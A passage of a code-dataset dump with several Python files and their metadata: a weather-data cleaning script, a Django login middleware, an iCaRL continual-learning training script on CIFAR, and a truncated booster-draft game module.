tracemalloc.start()\n # current, peak = tracemalloc.get_traced_memory()\n # print(f\"Current memory usage is {current / 10**6}MB; Peak was {peak / 10**6}MB\")\n\n df = pd.read_csv(f\"{folderPath}/{year}.tar.gz\", compression='gzip')\n df = df.rename({df.columns[0]: 'STATION'}, axis=1)\n df = df[df[\"DATE\"] != \"DATE\"]\n df = df.dropna()\n\n # current, peak = tracemalloc.get_traced_memory()\n # print(f\"Current memory usage is {current / 10**6}MB; Peak was {peak / 10**6}MB\")\n # tracemalloc.stop()\n\n # type conversion\n float_columns = [\"LATITUDE\", \"LONGITUDE\", \"ELEVATION\", \"TEMP\", \"MAX\", \"MIN\", \n \"DEWP\", \"VISIB\", \"WDSP\", \"MXSPD\", \"PRCP\", \"SNDP\"]\n df[float_columns] = df[float_columns].astype(np.float32)\n df[\"STATION\"] = df[\"STATION\"].astype(np.int64)\n df[\"DATE\"] = pd.to_datetime(df[\"DATE\"])\n\n country_listPath = \"data/climat/country_list.json\"\n with open(country_listPath, 'rb') as file:\n country_dict = json.load(file)\n\n # df[\"COUNTRY\"] = df[\"NAME\"].str[-2:]\n df[[\"NAME\", \"COUNTRY\"]] = df[\"NAME\"].str.split(\", \", n=2, expand=True)\n df = df[df[\"COUNTRY\"].isin([key for key in country_dict.keys()])]\n df[\"COUNTRY\"] = df[\"COUNTRY\"].map(country_dict)\n df = df[(df[\"LATITUDE\"] > 35) & (df[\"LATITUDE\"] < 72)]\n df = df[~((df[\"COUNTRY\"] == \"Portugal\") & (df[\"LONGITUDE\"] < -15))]\n\n #STP, SLP, GUST, VISIB missing to much values\n df = df[[\"DATE\", \"STATION\", \"COUNTRY\", \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\", \"NAME\", \"TEMP\", \"MAX\", \"MIN\",\n \"DEWP\", \"WDSP\", \"MXSPD\", \"PRCP\", \"SNDP\", \"FRSHTT\"]]\n \n df[[\"TEMP\", \"DEWP\", \"MAX\", \"MIN\"]] = df[[\"TEMP\", \"DEWP\", \"MAX\", \"MIN\"]].replace(9999.9, np.nan)\n df[[\"WDSP\", \"MXSPD\"]] = df[[\"WDSP\", \"MXSPD\"]].replace(999.9, np.nan)\n df[\"SNDP\"] = df[\"SNDP\"].replace(999.9, 0)\n df[\"PRCP\"] = df[\"PRCP\"].replace(99.9, 0)\n df[[\"FOG\", \"RAIN\", \"SNOW\", \"HAIL\", \"THUN\", \"TORN\"]] = df[\"FRSHTT\"].str.extract(r\"(.)(.)(.)(.)(.)(.)\")\n df[[\"FOG\", \"RAIN\", \"SNOW\", \"HAIL\", \"THUN\", \"TORN\"]] = df[[\"FOG\", \"RAIN\", \"SNOW\", \"HAIL\", \"THUN\", \"TORN\"]].astype(np.int8)\n df = df.drop(\"TORN\", axis=1)\n\n # conversion Fahrenheit en Celsius, DWEP = point de rose\n df[[\"TEMP\", \"MAX\", \"MIN\", \"DEWP\"]] = (df[[\"TEMP\", \"MAX\", \"MIN\", \"DEWP\"]] -32) * 5/9\n # knots en kilometre par heure\n df[[\"WDSP\", \"MXSPD\"]] = df[[\"WDSP\", \"MXSPD\"]] * 1.852\n # inche en millimetre\n df[\"SNDP\"] = df[\"SNDP\"] * 2.54\n # inche and hundredths en millimetre\n df[\"PRCP\"] = df[\"PRCP\"] * 0.254\n\n # group by month: [df[\"DATE\"].dt.to_period('m')] or pd.Grouper(key=\"DATE\", freq=\"M\")\n # aggregation\n df = df.groupby([df[\"DATE\"].dt.to_period('m'), df[\"STATION\"]]).agg( \n NAME=(\"NAME\",\"last\"), COUNTRY=(\"COUNTRY\",\"last\"), \n LATITUDE=(\"LATITUDE\",\"last\"), LONGITUDE=(\"LONGITUDE\",\"last\"), \n ELEVATION=(\"ELEVATION\",\"last\"), DAYS_WITH_MEASURES=('TEMP','count'), TEMP=('TEMP','mean'), \n MAX=(\"MAX\",'max'), MIN=(\"MIN\",'min'), DEWP=(\"DEWP\",'mean'), WDSP=(\"WDSP\",'mean'), \n MXSPD=(\"MXSPD\",'max'), SNDP=(\"SNDP\",'sum'), PRCP=(\"PRCP\",'sum'), FOG=(\"FOG\",'sum'), \n RAIN=(\"RAIN\",'sum'), SNOW=(\"SNOW\",'sum'), HAIL=(\"HAIL\",'sum'), THUN=(\"THUN\",'sum'))\n df = df.reset_index()\n \n df = df.groupby([df[\"DATE\"], df[\"NAME\"], df[\"COUNTRY\"]]).agg( \n STATION=(\"STATION\",\"last\"), LATITUDE=(\"LATITUDE\",\"last\"), LONGITUDE=(\"LONGITUDE\",\"last\"), \n DAYS_WITH_MEASURES=(\"DAYS_WITH_MEASURES\",\"sum\"), ELEVATION=(\"ELEVATION\",\"last\"), TEMP=('TEMP','mean'), \n MAX=(\"MAX\",'max'), MIN=(\"MIN\",'min'), DEWP=(\"DEWP\",'mean'), WDSP=(\"WDSP\",'mean'), \n MXSPD=(\"MXSPD\",'max'), SNDP=(\"SNDP\",'mean'), PRCP=(\"PRCP\",'mean'), FOG=(\"FOG\",'mean'), \n RAIN=(\"RAIN\",'mean'), SNOW=(\"SNOW\",'mean'), HAIL=(\"HAIL\",'mean'), THUN=(\"THUN\",'mean'))\n df = df.reset_index()\n \n df = df.groupby([df[\"DATE\"], df[\"LATITUDE\"], df[\"LONGITUDE\"]]).agg( \n STATION=(\"STATION\",\"last\"), NAME=(\"NAME\",\"last\"), COUNTRY=(\"COUNTRY\",\"last\"), \n DAYS_WITH_MEASURES=(\"DAYS_WITH_MEASURES\",\"sum\"), ELEVATION=(\"ELEVATION\",\"last\"), TEMP=('TEMP','mean'), \n MAX=(\"MAX\",'max'), MIN=(\"MIN\",'min'), DEWP=(\"DEWP\",'mean'), WDSP=(\"WDSP\",'mean'), \n MXSPD=(\"MXSPD\",'max'), SNDP=(\"SNDP\",'mean'), PRCP=(\"PRCP\",'mean'), FOG=(\"FOG\",'mean'), \n RAIN=(\"RAIN\",'mean'), SNOW=(\"SNOW\",'mean'), HAIL=(\"HAIL\",'mean'), THUN=(\"THUN\",'mean'))\n df = df.reset_index()\n\n df_drop = df[df[\"DAYS_WITH_MEASURES\"] < 25]\n df = df[df[\"DAYS_WITH_MEASURES\"] >= 25]\n df = df.drop(\"DAYS_WITH_MEASURES\", axis=1)\n\n return df\n\n\ndef process_years(folderPath:str, begin_year:int, end_year:int, destinationPath:str):\n df_list = []\n for year in range(begin_year, end_year + 1):\n df = process_a_year(folderPath, year)\n df_list.append(df)\n dfs = pd.concat(df_list, ignore_index=True)\n\n # on maj les valeurs d'identification sur l'ensemble des annees pour correspondre au données les plus récentes\n dfs[[\"NAME\", \"COUNTRY\", \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\"]] = dfs[[\"NAME\", \"COUNTRY\", \"STATION\", \n \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\"]].groupby([\"STATION\"]).transform('last') \n # sert dans le cas où l'id STATION a changés dans le temps\n dfs[[\"STATION\", \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\"]] = dfs[[\"NAME\", \"COUNTRY\", \"STATION\", \n \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\"]].groupby([\"NAME\", \"COUNTRY\"]).transform('last')\n # sert dans le cas ou une station(même emplacement en LAT et LONG) a changé d'id STATION et de NAME\n dfs[[\"NAME\", \"COUNTRY\", \"STATION\", \"ELEVATION\"]] = dfs[[\"NAME\", \"COUNTRY\", \"STATION\", \n \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\"]].groupby([\"LATITUDE\", \"LONGITUDE\"]).transform('last')\n\n # nombre de mois avec des mesures par station\n months_with_measures = dict(dfs[\"STATION\"].value_counts())\n dfs[\"MONTHS_WITH_MEASURES\"] = dfs[\"STATION\"].map(months_with_measures)\n dfs_drop = dfs[dfs[\"MONTHS_WITH_MEASURES\"] < 6]\n dfs = dfs[dfs[\"MONTHS_WITH_MEASURES\"] >= 6]\n\n dfs_geo_dim = dfs[[\"STATION\", \"NAME\", \"COUNTRY\", \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\"]].drop_duplicates(\"STATION\")\n dfs_fact = dfs.drop([\"NAME\", \"COUNTRY\", \"LATITUDE\", \"LONGITUDE\", \"ELEVATION\",\n \"MONTHS_WITH_MEASURES\"], axis=1)\n\n dfs_fact.to_csv(f\"{destinationPath}/ClimatFACT.csv\", index=False)\n dfs_geo_dim.to_csv(f\"{destinationPath}/StationDIM.csv\", index=False)\n\n\nif __name__ == \"__main__\":\n pd.set_option('display.float_format', lambda x: '%.5f' % x)\n pd.set_option('display.max_columns', None)\n pd.set_option('display.width', 120)\n pd.set_option('display.max_rows', 100)\n pd.set_option('display.min_rows', 30)\n\n process_years(\"data/climat/daily_raw\", 2000, 2020, \"data/climat/clean_for_bi\")\n", "sub_path": "src/climat/traitement_donnees.py", "file_name": "traitement_donnees.py", "file_ext": "py", "file_size_in_byte": 6909, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 29, "usage_type": "call"}, {"api_name": "json.load", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 130, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 132, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 133, "usage_type": "call"}]} +{"seq_id": "465438501", "text": "from re import compile\nfrom django.contrib.auth.views import redirect_to_login\nfrom django.contrib.auth import REDIRECT_FIELD_NAME\nfrom django.conf import settings\n\n\nEXEMPT_URLS = [compile(settings.LOGIN_URL.lstrip('/'))]\nif hasattr(settings, 'LOGIN_EXEMPT_URLS'):\n EXEMPT_URLS += [compile(expr) for expr in settings.LOGIN_EXEMPT_URLS]\n\n \n\nclass LoginRequiredMiddleware:\n \"\"\"\"\"\"\n def process_request(self, request):\n assert hasattr(request, 'user')\n if not request.user.is_authenticated():\n path = request.path_info.lstrip('/') or \"/\"\n if not any(m.match(path) for m in EXEMPT_URLS) and not path == \"/\":\n path = request.get_full_path()\n return redirect_to_login(path, settings.LOGIN_URL, REDIRECT_FIELD_NAME)", "sub_path": "level_auth/level_auth/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 786, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "re.compile", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_URL.lstrip", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_URL", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 8, "usage_type": "argument"}, {"api_name": "re.compile", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_EXEMPT_URLS", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.auth.views.redirect_to_login", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.REDIRECT_FIELD_NAME", "line_number": 21, "usage_type": "argument"}, {"api_name": "django.conf.settings.LOGIN_URL", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "269068398", "text": "import torch\nprint (torch.cuda.is_available())\nimport torch.nn as nn\nimport torchvision.datasets as dsets\nimport torchvision.models as models\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nfrom matplotlib import gridspec as gridspec\nimport numpy as np\n\nfrom data_loader2 import iCIFAR10\nfrom data_loader2 import iCIFAR100\n#from model import iCaRLNet\nfrom iCaRL import iCaRLNet\nimport math\nimport save_load\nimport plots\nimport metrica\nimport random\n\nprint (torch.cuda.is_available())\npath = '/home/usuaris/imatge/alex.mateo/Downloads/icarl/saved_models/best_model4'\n\n# Híper paràmetres\ntotal_classes = 100 #Número total de classes de la base de dades\nnum_classes = 5 #Número de classes per tasca\nnum_epochs = 60 #Número de epochs per realitzar l'entrenament\n\n# Inicializació dels seeds\ntorch.manual_seed(0)\nnp.random.seed(0)\nrandom.seed(0)\n\n# Data augmentation sobre les dades d'entrada. Realitza un retallat, rotació i normalització\ntransform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\n\n# Inicialització de la CNN\nk = 500*num_classes #2000 #Espai de memòria en número d'exemples\n#k = 10000\nicarl = iCaRLNet(2048, 1, num_epochs) #Creació del model, ResNet amb una sortida de 2048 neurones, capa de sortida separada de tamany 1 inicialment\nicarl.cuda()\n\n# Per la contabilització del nombre total de paràmetres\n#pytorch_total_params = sum(p.numel() for p in icarl.parameters())\n#print (pytorch_total_params)\n\n# Llistes per l'emmagatzematge de les precisions noves, antigues i totals en avaluació i precisió\ntr_accs_old = []\ntr_accs_new = []\nte_accs_old = []\nte_accs_new = []\ntr_accs_total = []\nte_accs_total = []\n\nmem_old = [] #Número de mostres per classe en la tasca anterior \n\n\niterable_list = np.arange(0,total_classes, num_classes) #Lista amb les tasques a iterar\n\n# Matrius per l'emmagatzematge de les precisions \nmatrix_accuracies = torch.zeros(len(iterable_list), len(iterable_list))\nmatrix_accuracies_train = torch.zeros(len(iterable_list), len(iterable_list))\n\n#Llista amb les pèrdues totals en entrenament i avaluació\nloss_total = np.zeros(shape = (len(iterable_list), num_epochs))\nloss_distilation = np.zeros(shape = (len(iterable_list), num_epochs))\nloss_classification = np.zeros(shape = (len(iterable_list), num_epochs))\nloss_total_eval = np.zeros(shape = (len(iterable_list), num_epochs))\nloss_distilation_eval = np.zeros(shape = (len(iterable_list), num_epochs))\nloss_classification_eval = np.zeros(shape = (len(iterable_list), num_epochs))\n\ncount = 0\n\nfor s in range(0, total_classes, num_classes): #Iterador del número de tasques\n print (\"number of s: %d\" %(s))\n print (\"Loading training examples for classes\", range(s,s+num_classes))\n \n #Depenent del transform triat, s'aplica o no data augmentation \n train_set = iCIFAR10(root='./data',\n train=True,\n classes=range(s,(s+num_classes)) if s != (total_classes-1) else s,\n download=True,\n transform=transform)\n train_loader = torch.utils.data.DataLoader(train_set, batch_size=100,\n shuffle=True, num_workers=1)\n \n \n test_set = iCIFAR10(root='./data',\n train=False,\n classes=range(0,(s+num_classes)) if s != (total_classes-1) else s,\n download=True,\n transform=transform_test)\n test_loader = torch.utils.data.DataLoader(test_set, batch_size=100,\n shuffle=True, num_workers=1) #Normalmente batch size en 100, evitamos problemas con cuda out of memory\n\n\n # Entrenament mitjançant back propagation\n loss_total[count], loss_classification[count], loss_distilation[count],loss_total_eval[count], loss_classification_eval[count], loss_distilation_eval[count] = icarl.update_representation(train_set, test_set)\n \n \n ##############Diferents opcions de la distribució de memòria entre classes################### \n \"\"\"\n #OPCIÓN 1\n m = math.floor(k / icarl.n_classes)\n res = (2500-m*icarl.n_classes)/5\n tot = int(m+res)\n \"\"\"\n \n \"\"\"\n #OPCIÓN 2\n \n m = math.floor(k / icarl.n_classes)\n #mem_list = np.flip(np.arange(0.5, 1.5, 1/icarl.n_classes))\n mem_list = np.arange(0.5, 1.5, 1/icarl.n_classes)\n mem_list = [int(mem_list[i]*m) for i in range(len(mem_list))]\n res = (2500-sum(mem_list))/5\n new_classes = [icarl.n_classes -5, icarl.n_classes -4, icarl.n_classes -3, icarl.n_classes -2, icarl.n_classes -1]\n for i in new_classes:\n mem_list[i] = int(mem_list[i] + res)\n res2 = (2500-sum(mem_list))\n mem_list[icarl.n_classes-1] += res2\n \"\"\"\n \n #OPCIÓN 3 TAMBIÉN CONTINUA MÁS ABAJO\n if (s>0):\n m = math.floor(k / icarl.n_classes)\n print (matrix_accuracies[:class_group, count-1])\n if (s==5):\n acc_list = np.argsort(matrix_accuracies[:class_group, count-1])\n else:\n #acc_list = np.flip(np.argsort(matrix_accuracies[:class_group, count-1].cpu().detach().numpy()))#A mayor probabilidad mas muestras\n acc_list = np.argsort(matrix_accuracies[:class_group, count-1].cpu().detach().numpy()) #A menor probabilidad mas muestras\n mem_list = np.flip(np.arange(0.5, 1.5, 5/icarl.n_known)) #Solo las clases antiguas\n mem_list_aux=np.zeros(mem_list.shape)\n for i,index in enumerate(acc_list):\n if((mem_old[index]) < (int(mem_list[i]*m))):\n mem_list_aux[index] = mem_old[index]\n else:\n mem_list_aux[index] = int(mem_list[i]*m)\n mem_old = []\n for i in mem_list_aux:\n mem_old.append(i)\n aux = 0\n mem_list2 = np.zeros(icarl.n_classes)\n for i in range(s):\n if (i%5 == 0 and i>0):\n aux+=1\n mem_list2[i] = int(mem_list_aux[aux])\n res = (2500-sum(mem_list2))/5\n new_classes = [icarl.n_classes-5, icarl.n_classes-4, icarl.n_classes-3, icarl.n_classes-2, icarl.n_classes-1]\n for i in new_classes:\n mem_list2[i] = int(mem_list2[i]+res)\n mem_old.append(mem_list2[icarl.n_classes-1])\n \n \n else:\n m = math.floor(k / icarl.n_classes)\n res = (2500-m*icarl.n_classes)/5\n tot = int(m+res)\n mem_list2 = np.zeros(icarl.n_classes)\n new_classes = [icarl.n_classes-5, icarl.n_classes-4, icarl.n_classes-3, icarl.n_classes-2, icarl.n_classes-1]\n for i in new_classes:\n mem_list2[i] = tot\n mem_old.append(tot)\n \n \n \n # Reducció de les dades de memòria per les classes ja conegudes\n #icarl.reduce_exemplar_sets(m)\n icarl.reduce_exemplar_sets(mem_list2)\n \n icarl.compute_mean(transform_test, True)\n\n # Construct exemplar sets for new classes\n for y in range(s, s+num_classes):\n print (\"Constructing exemplar set for class-%d...\" %(y))\n images = train_set.get_image_class(y) #Conjunt de mostres d'entrenament d'aquella classe\n \n #icarl.construct_exemplar_set(images, tot, transform_test, y) #Selecció de les més representatives per emmagatzemar-les\n icarl.construct_exemplar_set(images, mem_list2[y], transform_test, y)\n print (\"Done\")\n\n for y, P_y in enumerate(icarl.exemplar_sets):\n print (\"Exemplar set for class-%d:\" % (y), P_y.shape)\n\n icarl.n_known = icarl.n_classes\n print (\"iCaRL classes: %d\" % icarl.n_known)\n \n icarl = save_load.load_model(icarl, path) \n \n \"\"\"\n #####MEDICIÓ DEL NÚMERO DE PARÀMETReS########\n pytorch_total_params = sum(p.numel() for p in icarl.parameters())\n print(\"##################\")\n print(\"Total parameters in the model\")\n print (pytorch_total_params)\n print(\"##################\")\n \"\"\"\n #Mètrica\n print (\"Computing metrica....\") \n \n seen_classes = s+num_classes\n class_group = 0\n for i in range(0, seen_classes, num_classes):\n test_set = iCIFAR10(root='./data',\n train=False,\n classes=range(i,(i+num_classes)) if i != (total_classes-1) else i,\n download=True,\n transform=transform_test)\n test_loader = torch.utils.data.DataLoader(test_set, batch_size=100, shuffle=False, num_workers=1)\n matrix_accuracies[class_group,count] = metrica.test_accuracy(test_loader, icarl, transform_test)\n class_group += 1\n \n class_group = 0\n for i in range(0, seen_classes, num_classes):\n train_set = iCIFAR10(root='./data',\n train=True,\n classes=range(i,(i+num_classes)) if i != (total_classes-1) else i,\n download=True,\n transform=transform_test)\n train_loader = torch.utils.data.DataLoader(train_set, batch_size=100,\n shuffle=False, num_workers=1)\n matrix_accuracies_train[class_group,count] = metrica.train_accuracy(train_loader, icarl, transform_test)\n class_group += 1\n \n \n acc_list = matrix_accuracies[:class_group, count].cpu().detach().numpy()\n \n \n print (\"\\n ##########Train metrics###########\")\n tr_accs_new.append(matrix_accuracies_train[count, count])\n if (count > 0):\n tr_accs_old.append((sum(matrix_accuracies_train[:count,count]))/count)\n print('Old classes Accuracy: %f %%' % tr_accs_old[count-1])\n tr_accs_total.append(sum(matrix_accuracies_train[:,count])/(count + 1))\n \n \n print('New classes Accuracy: %f %%' % tr_accs_new[count])\n print('Train total Accuracy: %f %%' % tr_accs_total[count])\n \n \n print (\"\\n ###########Test metrics###########\")\n te_accs_new.append(matrix_accuracies[count, count])\n if (count > 0):\n te_accs_old.append((sum(matrix_accuracies[:count,count]))/count)\n print('Old classes Accuracy: %f %%' % te_accs_old[count-1])\n te_accs_total.append(sum(matrix_accuracies[:,count])/(count + 1))\n \n print('New classes Accuracy: %f %%' % te_accs_new[count])\n print('Test total Accuracy: %f %% \\n' % te_accs_total[count])\n \n count += 1 \n \n\nprint (\"\\n ##########Accuracies matrix train##########\")\nprint (matrix_accuracies_train)\n\nprint (\"\\n ##########Accuracies matrix test##############\")\nprint (matrix_accuracies)\n\n\nif (type(train_set) is iCIFAR10):\n fname = 'iCIFAR10pretrained' + str(num_classes) + str(0)\n fname_loss = 'iCIFAR10pretrained_loss' + str(num_classes) + str(0)\n\naux = True\nif (len(te_accs_old) == 0):\n aux = False\n\nplots.save_graphic_evaluation (iterable_list, te_accs_new, te_accs_old, te_accs_total, fname, aux, True)\nplots.save_graphic_evaluation (iterable_list, tr_accs_new, tr_accs_old, tr_accs_total, fname, aux, False)\nplots.save_loss (iterable_list, num_epochs, loss_total, loss_classification, loss_distilation, fname_loss, True)\nplots.save_loss (iterable_list, num_epochs, loss_total_eval, loss_classification_eval, loss_distilation_eval, fname_loss, False)\nplots.save_matrix(matrix_accuracies, fname)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 11873, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "torch.cuda.is_available", "line_number": 2, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 2, "usage_type": "attribute"}, {"api_name": "matplotlib.use", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 41, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 41, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 42, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 42, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 43, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 43, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 44, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 45, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 45, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 48, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 48, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 49, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 49, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 50, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 50, "usage_type": "name"}, {"api_name": "iCaRL.iCaRLNet", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 87, "usage_type": "call"}, {"api_name": "data_loader2.iCIFAR10", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 101, "usage_type": "attribute"}, {"api_name": "data_loader2.iCIFAR10", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 110, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 161, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 177, "usage_type": "call"}, {"api_name": "save_load.load_model", "line_number": 206, "usage_type": "call"}, {"api_name": "data_loader2.iCIFAR10", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 227, "usage_type": "attribute"}, {"api_name": "metrica.test_accuracy", "line_number": 228, "usage_type": "call"}, {"api_name": "data_loader2.iCIFAR10", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 238, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 238, "usage_type": "attribute"}, {"api_name": "metrica.train_accuracy", "line_number": 240, "usage_type": "call"}, {"api_name": "data_loader2.iCIFAR10", "line_number": 279, "usage_type": "name"}, {"api_name": "plots.save_graphic_evaluation", "line_number": 287, "usage_type": "call"}, {"api_name": "plots.save_graphic_evaluation", "line_number": 288, "usage_type": "call"}, {"api_name": "plots.save_loss", "line_number": 289, "usage_type": "call"}, {"api_name": "plots.save_loss", "line_number": 290, "usage_type": "call"}, {"api_name": "plots.save_matrix", "line_number": 291, "usage_type": "call"}]} +{"seq_id": "410460858", "text": "import random\nfrom enum import Enum\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport attr\n\nfrom core_draft.booster import Booster\nfrom core_draft.cog_exceptions import UserFeedbackException\nfrom core_draft.draft_player import DraftPlayer\n\nDraftEffect = Enum('DraftEffect', 'no_immediate_effect add_booster_to_draft')\nStage = Enum('Stage', 'draft_registration draft_in_progress draft_complete')\n\nplayer_card_drafteffect = Tuple[DraftPlayer, str, DraftEffect]\n\nCARDS_WITH_FUNCTION = {\"Cogwork Librarian\", \"Leovold's Operative\"}\n\n@attr.s(auto_attribs=True)\nclass PickReturn():\n updates: Dict[DraftPlayer, List[str]]\n draft_effect: List[player_card_drafteffect]\n\n@attr.s(auto_attribs=True)\nclass Draft:\n \"\"\"\n The internals of a draft. This represents the abstract state of the draft.\n This is where all the logic of a Booster Draft happens.\n \"\"\"\n players: List[int]\n cards: List[str]\n _state: List[DraftPlayer] = attr.ib(factory=list)\n _opened_packs: int = 0\n number_of_packs: int = 3\n cards_per_booster: int = 15\n metadata: dict[str, Any] = attr.ib(factory=dict)\n stage: Stage = Stage.draft_registration\n spare_cards: int = 0 # number of cards left in the cube after allocating boosters\n\n def player_by_id(self, player_id: int) -> DraftPlayer:\n state = self._state[self.players.index(player_id)]\n if (state.id != player_id):\n raise KeyError(f\"Player {player_id} not found, found {state.id} instead\")\n return state\n\n def pack_of(self, player_id: int) -> Optional[Booster]:\n try:\n return self.player_by_id(player_id).current_pack\n except IndexError:\n return None\n\n def deck_of(self, player_id: int) -> List[str]:\n return self.player_by_id(player_id).deck\n\n def start(self, number_of_packs: int, cards_per_booster: int) -> List[DraftPlayer]:\n used_cards = number_of_packs * cards_per_booster * len(self.players)\n self.spare_cards = len(self.cards) - used_cards\n if self.spare_cards < 0:\n raise UserFeedbackException(f\"Not enough cards {len(self.cards)} for {len(self.players)} with {number_of_packs} of {cards_per_booster}\")\n self.number_of_packs = number_of_packs\n self.cards_per_booster = cards_per_booster\n random.shuffle(self.players)\n random.shuffle(self.cards)\n for i, player in enumerate(self.players):\n db = DraftPlayer(player, i)\n if player < 100:\n db.draftbot = True\n self._state.append(db)\n self.open_boosters_for_all_players()\n return self._state # return all players to update\n\n def open_booster(self, player: DraftPlayer, number: int) -> Booster:\n card_list = [self.cards.pop() for _ in range(0, self.cards_per_booster)]\n booster = Booster(card_list, number)\n player.push_pack(booster, True)\n return booster\n\n def open_boosters_for_all_players(self) -> None:\n self._opened_packs += 1\n for player in self._state:\n self.open_booster(player, self._opened_packs)\n print(\"Opening pack for all players\")\n\n def get_pending_players(self) -> List[DraftPlayer]:\n return [x for x in self._state if x.has_current_pack()]\n\n def is_draft_finished(self) -> bool:\n return (self.is_pack_finished() and (self._opened_packs >= self.number_of_packs)) or self.stage == Stage.draft_complete\n\n def 